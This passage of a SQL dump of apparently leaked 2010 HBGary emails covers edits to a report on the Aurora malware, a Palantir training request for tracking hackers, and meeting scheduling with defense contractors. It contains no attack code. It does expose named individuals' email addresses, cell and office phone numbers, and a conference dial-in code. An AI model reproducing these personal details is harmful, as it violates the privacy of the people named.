Chinese Government. However, key actors have been identified in association with malware operations that utilize Chinese systems and native language malware.&nbsp; This has lead to a great deal of speculation about Chinese-State involvement. &nbsp;It must be noted that a large and thriving underground economy exists to both build and disseminate malware worldwide, and that most of this malware is capable of intellectual property theft.&nbsp; The malicious hacking underculture is strong in China, as in Eastern Europe and elsewhere, and clearly enmeshed into a global criminal economy of data theft.&nbsp; While difficult\r\n to conclude that these activities receive any form of state sponsorship or direction, the malware operation remains a funded and significant risk to intellectual property in the enterprise.\r\n&nbsp;\r\n-G\r\n\r\n ',12349,'aaron_hbgary_com/12349.html'),(2141,'2010-02-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000970.M408190P3547Q2142.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Services','yes there is a way... :)  I have to check if there is a setting to save .doc by default.  Let me know if you think its too sparse.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Feb 7, 2010, at 4:07 PM, Greg Hoglund wrote:\r\n\r\n> Aaron, is there any way you can save that as a normal text file??\r\n>  \r\n> -Greg\r\n> \r\n> On Sun, Feb 7, 2010 at 12:56 PM, Aaron Barr  wrote:\r\n> I think this is a good start.  We will likely expand our services over time but we need to focus and succeed first, and this seems like the right set to focus on.  Do you think I missed something?\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3461,'aaron_hbgary_com/3461.html'),(2142,'2010-02-07','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000970.M7214P3547Q2140.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Services','Aaron, is there any way you can save that as a normal text file??\r\n \r\n-Greg\r\nOn Sun, Feb 7, 2010 at 12:56 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI think this is a good start.  We will likely expand our services over time but we need to focus and succeed first, and this seems like the right set to focus on.  Do you think I missed something?\r\nAaron BarrCEOHBGary Federal Inc.\r\n',13805,'aaron_hbgary_com/13805.html'),(2143,'2010-02-07','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000973.M842272P3547Q2143.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,rich@hbgary.com','Aurora report, almost final draft',' \r\nThe attached version has all the sections and text that I am planning on putting in the report.  This is a last chance to sweep thru the document.\r\n \r\n-Greg\r\n',7481,'aaron_hbgary_com/7481.html'),(2144,'2010-02-08','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000974.M210221P3547Q2144.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,rich@hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>','Re: Aurora report, almost final draft','Hi Greg, Here are my comments/questions about the report:\r\n&nbsp;\r\nEssentially, report seems to support this recent article that there isn\'t direct evidence tying Google hack to Chinese government. \r\nhttp://www.thetechherald.com/article.php/201004/5151/Was-Operation-Aurora-nothing-more-than-a-conventional-attack?page=1\r\n&nbsp;\r\nIntro: Change any references to \"he\" to \"individual\" -- keep it gender neutral\r\n&nbsp;\r\nOther Google attack publically speculated&nbsp;companies: Just want to be sure Dow Chemical, etc. have all been publicly discussed -- that we&nbsp;aren\'t ID\'ing anyone new here.&nbsp;\r\n&nbsp;\r\nVerdasys/Encase: We haven\'t announced integration with either company yet. We were planning to announce Encase&nbsp;by end of month so not sure about discussing here. Also, not sure we need to include Verdasys boilerplate. Penny?\r\n&nbsp;\r\nInoculation: Will user need to be an HBGary customer to download and inoculate against Aurora malware?&nbsp; You\'re right -- A/Vs already have signature available. What is benefit of HBGary\'s approach --&nbsp;in addition to protecting against this Aurora malware,&nbsp;we can also help enterprises to detect and protect against&nbsp;variants of this malware?&nbsp;\r\n&nbsp;\r\nReport value: Please provide three short bullet points that&nbsp;highlight&nbsp;report\'s&nbsp;value to industry, to customers\r\n&nbsp;\r\nJavaScript -- still a few areas where \"S\" needs to be capped\r\n&nbsp;\r\nAdd HBGary Website (http://www.hbgary.com) under \"About HBGary, Inc.\"&nbsp;\r\n&nbsp;\r\nAs I mentioned, I\'d like to share the report under embargo with a few reporters before we publish and then issue press release announcing report -- and inoculation&nbsp;-- on publication date followed by Webinar to discuss report. Webinar would be open to public.\r\n--- On Sun, 2/7/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Aurora report, almost final draftTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;, \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, rich@hbgary.comDate: Sunday, February 7, 2010, 3:36 PM\r\n\r\n&nbsp;\r\nThe attached version has all the sections and text that I am planning on putting in the report.&nbsp; This is a last chance to sweep thru the document.\r\n&nbsp;\r\n-Greg\r\n\r\n\r\n\r\n',8494,'aaron_hbgary_com/8494.html'),(2145,'2010-02-08','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000974.M409993P3547Q2145.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,rich@hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>','Re: Aurora report, almost final draft','Just to clarify -- the bulletpoints are for pitching purposes -- you don\'t have to put them in the report itself.&nbsp;--- On Sun, 2/7/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Re: Aurora report, almost final draftTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, rich@hbgary.com, \"Greg Hoglund\" &lt;greg@hbgary.com&gt;Date: Sunday, February 7, 2010, 4:14 PM\r\n\r\n\r\n\r\n\r\n\r\nHi Greg, Here are my comments/questions about the report:\r\n&nbsp;\r\nEssentially, report seems to support this recent article that there isn\'t direct evidence tying Google hack to Chinese government. \r\nhttp://www.thetechherald.com/article.php/201004/5151/Was-Operation-Aurora-nothing-more-than-a-conventional-attack?page=1\r\n&nbsp;\r\nIntro: Change any references to \"he\" to \"individual\" -- keep it gender neutral\r\n&nbsp;\r\nOther Google attack publically speculated&nbsp;companies: Just want to be sure Dow Chemical, etc. have all been publicly discussed -- that we&nbsp;aren\'t ID\'ing anyone new here.&nbsp;\r\n&nbsp;\r\nVerdasys/Encase: We haven\'t announced integration with either company yet. We were planning to announce Encase&nbsp;by end of month so not sure about discussing here. Also, not sure we need to include Verdasys boilerplate. Penny?\r\n&nbsp;\r\nInoculation: Will user need to be an HBGary customer to download and inoculate against Aurora malware?&nbsp; You\'re right -- A/Vs already have signature available. What is benefit of HBGary\'s approach --&nbsp;in addition to protecting against this Aurora malware,&nbsp;we can also help enterprises to detect and protect against&nbsp;variants of this malware?&nbsp;\r\n&nbsp;\r\nReport value: Please provide three short bullet points that&nbsp;highlight&nbsp;report\'s&nbsp;value to industry, to customers\r\n&nbsp;\r\nJavaScript -- still a few areas where \"S\" needs to be capped\r\n&nbsp;\r\nAdd HBGary Website (http://www.hbgary.com) under \"About HBGary, Inc.\"&nbsp;\r\n&nbsp;\r\nAs I mentioned, I\'d like to share the report under embargo with a few reporters before we publish and then issue press release announcing report -- and inoculation&nbsp;-- on publication date followed by Webinar to discuss report. Webinar would be open to public.\r\n--- On Sun, 2/7/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Aurora report, almost final draftTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;, \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, rich@hbgary.comDate: Sunday, February 7, 2010, 3:36 PM\r\n\r\n&nbsp;\r\nThe attached version has all the sections and text that I am planning on putting in the report.&nbsp; This is a last chance to sweep thru the document.\r\n&nbsp;\r\n-Greg\r\n\r\n\r\n\r\n',6338,'aaron_hbgary_com/6338.html'),(2146,'2010-02-08','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000974.M625225P3547Q2146.eml','\"Aaron Barr\" <aaron@hbgary.com>','Is it possible to get OSC documents?',' \r\nI have some doc references in a government report that I can&#39;t find anywhere:\r\n \r\n\r\nOSC, CPP20031002000138, “Telecom Experts in Guangzhou Doubling As Militia Information Warfare Elements,” Guofang, Academy of Military Science, 15 September 2003 |\r\n \r\nWhat are these OSC references?  And, can they be obtained for non-classified use?\r\nThese refs are to published news articles made in China that are nearly impossible to obtain copies of.\r\n \r\n-Greg\r\n \r\n',9589,'aaron_hbgary_com/9589.html'),(2147,'2010-02-08','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000974.M816462P3547Q2147.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,,','Re: Aurora report, almost final draft',' \r\nKaren,\r\n \r\nThe tech herald article you mention is actually referenced in the report itself, and you will find this on page one along w/ the mention of Peng Yong.\r\n \r\nThe other companies mentioned were obtained from searching google news.  I don&#39;t have the exact reference but could probably find it again if you think it&#39;s needed.\r\n \r\nIn terms of the inoculator, it merely falls into &#39;defense in depth&#39;  - maybe the AV missed it, or maybe the AV was disabled by the attackers, etc.  \r\n \r\nOn the three short bullet points, Aaron can you please do those?  Since we talked last night it seemed you could describe a conscise value proposition for the report.\r\n \r\nI will remove verdasys until further notice.  Encase has already been removed, as we can&#39;t get the software to work well enough to get a screenshot lolz.\r\n \r\n-Greg\r\nOn Sun, Feb 7, 2010 at 4:16 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nJust to clarify -- the bulletpoints are for pitching purposes -- you don&#39;t have to put them in the report itself. --- On Sun, 2/7/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Re: Aurora report, almost final draft\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;, &quot;Penny C. Hoglund&quot; &lt;penny@hbgary.com&gt;, rich@hbgary.com, &quot;Greg Hoglund&quot; &lt;greg@hbgary.com&gt;\r\nDate: Sunday, February 7, 2010, 4:14 PM \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Greg, Here are my comments/questions about the report:\r\n \r\nEssentially, report seems to support this recent article that there isn&#39;t direct evidence tying Google hack to Chinese government. \r\nhttp://www.thetechherald.com/article.php/201004/5151/Was-Operation-Aurora-nothing-more-than-a-conventional-attack?page=1\r\n\r\n \r\nIntro: Change any references to &quot;he&quot; to &quot;individual&quot; -- keep it gender neutral\r\n \r\nOther Google attack publically speculated companies: Just want to be sure Dow Chemical, etc. have all been publicly discussed -- that we aren&#39;t ID&#39;ing anyone new here. \r\n \r\nVerdasys/Encase: We haven&#39;t announced integration with either company yet. We were planning to announce Encase by end of month so not sure about discussing here. Also, not sure we need to include Verdasys boilerplate. Penny?\r\n\r\n \r\nInoculation: Will user need to be an HBGary customer to download and inoculate against Aurora malware?  You&#39;re right -- A/Vs already have signature available. What is benefit of HBGary&#39;s approach -- in addition to protecting against this Aurora malware, we can also help enterprises to detect and protect against variants of this malware? \r\n\r\n \r\nReport value: Please provide three short bullet points that highlight report&#39;s value to industry, to customers\r\n \r\nJavaScript -- still a few areas where &quot;S&quot; needs to be capped\r\n \r\nAdd HBGary Website (http://www.hbgary.com) under &quot;About HBGary, Inc.&quot; \r\n \r\nAs I mentioned, I&#39;d like to share the report under embargo with a few reporters before we publish and then issue press release announcing report -- and inoculation -- on publication date followed by Webinar to discuss report. Webinar would be open to public.\r\n\r\n--- On Sun, 2/7/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Aurora report, almost final draft\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;, &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;, &quot;Penny C. Hoglund&quot; &lt;penny@hbgary.com&gt;, rich@hbgary.com\r\nDate: Sunday, February 7, 2010, 3:36 PM\r\n\r\n \r\nThe attached version has all the sections and text that I am planning on putting in the report.  This is a last chance to sweep thru the document.\r\n \r\n-Greg\r\n',891,'aaron_hbgary_com/891.html'),(2148,'2010-02-08','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000976.M149275P3547Q2148.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','DRAFT 6, this is final draft assuming we don\'t have any more 	additions',' \r\nTeam,\r\nOK, I made all of Karen&#39;s changes, removed Verdasys, and added a small blurb for HBGary Federal under the contact info section.  (assuming aaron is cool w/ what I wrote, this is final draft).\r\n \r\n-Greg\r\n',4836,'aaron_hbgary_com/4836.html'),(2149,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000976.M444108P3547Q2149.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: DRAFT 6, this is final draft assuming we don\'t have any more 	additions','Looks good.  I will work on the bullets.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 7, 2010, at 8:13 PM, Greg Hoglund  wrote:\r\n\r\n> Team,\r\n> OK, I made all of Karen\'s changes, removed Verdasys, and added a\r\n> small blurb\r\n> for HBGary Federal under the contact info section.  (assuming aaron\r\n> is cool\r\n> w/ what I wrote, this is final draft).\r\n>\r\n> -Greg\r\n> \r\n',13426,'aaron_hbgary_com/13426.html'),(2150,'2010-02-08','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000976.M752094P3547Q2150.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: DRAFT 6, this is final draft assuming we don\'t have any more  additions','Thanks Greg. I researched the attacked companies a bit -- looks like it was Juniper Networks, not Juniper Systems, that was possibly hit. Also, I would delete ExxonMobile and ConocoPhillips since they come up in recent stories as oil companies hit by cyberespionage before Aurora.&nbsp;--- On Sun, 2/7/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: DRAFT 6, this is final draft assuming we don\'t have any more additionsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;, \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, \"Rich Cummings\" &lt;rich@hbgary.com&gt;Date: Sunday, February 7, 2010, 5:13 PM\r\n\r\n&nbsp;\r\nTeam,\r\nOK, I made all of Karen\'s changes, removed Verdasys, and added a small blurb for HBGary Federal under the contact info section.&nbsp; (assuming aaron is cool w/ what I wrote, this is final draft).\r\n&nbsp;\r\n-Greg\r\n\r\n',4389,'aaron_hbgary_com/4389.html'),(2151,'2010-02-08','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000977.M134746P3547Q2151.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,,','Re: DRAFT 6, this is final draft assuming we don\'t have any more 	additions','Fixed the company list.\r\n \r\n-G\r\nOn Sun, Feb 7, 2010 at 5:24 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nThanks Greg. I researched the attacked companies a bit -- looks like it was Juniper Networks, not Juniper Systems, that was possibly hit. Also, I would delete ExxonMobile and ConocoPhillips since they come up in recent stories as oil companies hit by cyberespionage before Aurora. \r\n--- On Sun, 2/7/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: DRAFT 6, this is final draft assuming we don&#39;t have any more additions\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;, &quot;Penny C. Hoglund&quot; &lt;penny@hbgary.com&gt;, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt;\r\nDate: Sunday, February 7, 2010, 5:13 PM \r\n\r\n\r\n \r\nTeam,\r\nOK, I made all of Karen&#39;s changes, removed Verdasys, and added a small blurb for HBGary Federal under the contact info section.  (assuming aaron is cool w/ what I wrote, this is final draft).\r\n \r\n-Greg\r\n',14684,'aaron_hbgary_com/14684.html'),(2152,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000977.M389615P3547Q2152.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Is it possible to get OSC documents?','OSC stands for the Open Source Center. &nbsp;Let me see if I can dig these up. &nbsp;This group does all open source research for the purpose of providing that information to the government. &nbsp;They shouldn\'t be classified but likely are for Official Use Only, which means often they are not publicly accessible. &nbsp;If we can prove a need to have these reports to some of our government contacts then we should be able to get a copy...either that or find them leeked on the web...let me take a look.You got these from the NG report on China didn\'t you?On Feb 7, 2010, at 7:38 PM, Greg Hoglund wrote:CPP20031002000138\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10120,'aaron_hbgary_com/10120.html'),(2153,'2010-02-08','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000977.M710545P3547Q2153.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Latest Report','This looks great!  And yes, we can certainly help you create some sexier screenshots for the big reveal.\r\n\r\nI believe Geoff\'s earliest availability is the week of the 15th, Ill let him pick up the thread from here on that.\r\n\r\nGetting on a plane back from travel, Ill call you tomorrow afternoon to sync up on all this.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, February 07, 2010 2:09 PM\r\nTo: Matthew Steckman\r\nSubject: Latest Report\r\n\r\nMatt,\r\n\r\nLatest copy.  We know we can put in some better shots using Palantir but just don\'t have the skillz yet.  Looks like we will be doing 2 reports.  Endgames is not keen on providing any content that will be for public release.  So we will do another report that we can distribute directly to customers.  For that report we will have a little more time to get in some good Palantir shots.\r\n\r\nWhen can Geoff go up to Sacramento?\r\n\r\nWe got a request to set up a meeting with some folks up at NTOC and ANO, so will be doing that in the next few weeks.  Would like to bring a finished report with us.\r\n\r\nAaron\r\n\r\n',11607,'aaron_hbgary_com/11607.html'),(2154,'2010-02-08','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000977.M930758P3547Q2154.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Palatir training','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI think the best way to help Greg out is to get Geoff some face\r\ntime with him and his team (as I said, perhaps the week of the 15th).&nbsp;\r\nIn the mean time please give him my phone number and I can quickly walk him\r\nthrough ontology editing.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 05, 2010 11:21 PM\r\nTo: Matthew Steckman\r\nSubject: Fwd: Palatir training\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Matt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny chance of working something out next week?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nGreg\r\nHoglund &lt;greg@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFebruary\r\n5, 2010 10:56:45 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;, Shawn\r\nBracken &lt;shawn@hbgary.com&gt;, Charles\r\nCopeland &lt;chark@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nPalatir training\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\n\r\n\r\n\r\n\r\nPlease contact your bud at Palantir and let him know we\r\nwould love to get some training next week.&nbsp; We are having the most basic\r\nof issues, such as we can\'t figure out how to define our own types.&nbsp;\r\nInstead of \'suicide bomber\' I want to create \'Hacker\' as a person type, for\r\nexample.&nbsp; The ontology is all messed up for our target domain.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTell your contact that we have many specific data types that\r\nwe would like to map.&nbsp; There are over 400 individual hackers we need to\r\ntrack, many are chinese / russian and we need to xref in a variety of ways\r\n(associate of, co-forum, purchased from, etc).&nbsp; We need to associate the\r\namount of money that was transferred if possible.&nbsp; All kinds of technical\r\nquestions we have.&nbsp; We even want to write some stand alone tools that will\r\nharvest scan data from the Internet and automatically import it.&nbsp; I can\r\nshare our current mysql schema with him, maybe he can help us make that\r\npalantir-friendly.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI want to highlight palantir in all of our marketing which\r\nrelates to tracking bad guys.&nbsp; It should be good for them.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4897,'aaron_hbgary_com/4897.html'),(2155,'2010-02-08','\"Geoff Stowe\" <gstowe@palantirtech.com>','/aaron@hbgary.com/new/1297000978.M159074P3547Q2155.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Latest Report','I\'m free the 15-17 to swing by sacramento.  Let me know if any of those days work - I\'d really like to help you guys flesh out that network.\r\n\r\n\r\n----- Original Message -----\r\nFrom: Matthew Steckman\r\nTo: Aaron Barr \r\nCc: Geoff Stowe\r\nSent: Sun Feb 07 20:31:28 2010\nSubject: RE: Latest Report\r\n\r\nThis looks great!  And yes, we can certainly help you create some sexier screenshots for the big reveal.\r\n\r\nI believe Geoff\'s earliest availability is the week of the 15th, Ill let him pick up the thread from here on that.\r\n\r\nGetting on a plane back from travel, Ill call you tomorrow afternoon to sync up on all this.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, February 07, 2010 2:09 PM\r\nTo: Matthew Steckman\r\nSubject: Latest Report\r\n\r\nMatt,\r\n\r\nLatest copy.  We know we can put in some better shots using Palantir but just don\'t have the skillz yet.  Looks like we will be doing 2 reports.  Endgames is not keen on providing any content that will be for public release.  So we will do another report that we can distribute directly to customers.  For that report we will have a little more time to get in some good Palantir shots.\r\n\r\nWhen can Geoff go up to Sacramento?\r\n\r\nWe got a request to set up a meeting with some folks up at NTOC and ANO, so will be doing that in the next few weeks.  Would like to bring a finished report with us.\r\n\r\nAaron\r\n\r\n',10383,'aaron_hbgary_com/10383.html'),(2156,'2010-02-08','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297000978.M365798P3547Q2156.eml','aaron@hbgary.com,bob@hbgary.com,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,aaron@hbgary.com,bob@hbgary.com,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,','General Dynamics & HBGary Federal (discussion continues)','\r\n\r\n\r\n\r\n\r\nGeneral Dynamics &amp; HBGary Federal (discussion continues)\r\n\r\n\r\n\r\n\r\nWhen: Monday, February 08, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nGeneral Dynamics &amp; HBGary Federal (discussion continues)\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\nQuestions?\r\n\r\nContact:\r\n\r\nChris Starr\r\n\r\nCell: 571-216-6140\r\n\r\nChris.Starr@gd-ais.com \r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal:\r\n\r\nAaron Barr, CEO,&nbsp; Aaron@hbgary.com , 719-510-8478\r\n\r\nTed Vera, COO and President, Ted@hbgary.com \r\n\r\nHBGary:\r\n\r\nGreg Hoglund, CEO and Founder, Greg@hbgary.com \r\n\r\nBob Slapnik, Vice President of Government Sales, Bob@hbgary.com \r\n\r\nGeneral Dynamics:\r\n\r\nJim Jaeger, Jim.Jaeger@gd-ais.com \r\n\r\nChris Starr, Chris.Starr@gd-ais.com, 571-216-6140\r\n\r\nDoug Harlow, Douglas.Harlow@gd-ais.com \r\n\r\nJason Upchurch, Jason.Upchurch@gd-ais.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n',997,'aaron_hbgary_com/997.html'),(2157,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000978.M626828P3547Q2157.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: Latest Report','From my iPhoneBegin forwarded message:From: Geoff Stowe &lt;gstowe@palantirtech.com&gt;\r\nDate: February 8, 2010 2:15:13 AM ESTTo: Matthew Steckman &lt;msteckman@palantirtech.com&gt;, &quot;&#39;aaron@hbgary.com&#39;&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Latest ReportI&#39;m free the 15-17 to swing by sacramento.  Let me know if any of those days work - I&#39;d really like to help you guys flesh out that network.\r\n----- Original Message -----From: Matthew SteckmanTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Geoff Stowe\r\nSent: Sun Feb 07 20:31:28 2010Subject: RE: Latest ReportThis looks great!  And yes, we can certainly help you create some sexier screenshots for the big reveal.\r\nI believe Geoff&#39;s earliest availability is the week of the 15th, Ill let him pick up the thread from here on that.Getting on a plane back from travel, Ill call you tomorrow afternoon to sync up on all this.\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Sunday, February 07, 2010 2:09 PM\r\nTo: Matthew SteckmanSubject: Latest ReportMatt,Latest copy.  We know we can put in some better shots using Palantir but just don&#39;t have the skillz yet.  Looks like we will be doing 2 reports.  Endgames is not keen on providing any content that will be for public release.  So we will do another report that we can distribute directly to customers.  For that report we will have a little more time to get in some good Palantir shots.\r\nWhen can Geoff go up to Sacramento?We got a request to set up a meeting with some folks up at NTOC and ANO, so will be doing that in the next few weeks.  Would like to bring a finished report with us.\r\nAaron\r\n',15338,'aaron_hbgary_com/15338.html'),(2158,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000978.M826726P3547Q2158.eml','\"Mettala, Erik\" <Erik.Mettala@cobham.com>,\"Mettala, Erik\" <Erik.Mettala@cobham.com>,,','Re: Introductions','Erik,I am not going to make it out of the neighborhood today. &nbsp;Should I set up a webex and we can do a technology demonstration and have a discussion online?AaronOn Feb 4, 2010, at 9:56 AM, Mettala, Erik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\nAaron,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please give me a call ASAP.&nbsp; I’ve got\r\na scheduling issue, and your phone number is out of reach.&nbsp; Cell works best.&nbsp;Erik&nbsp;\r\n\r\nErik G. Mettala, 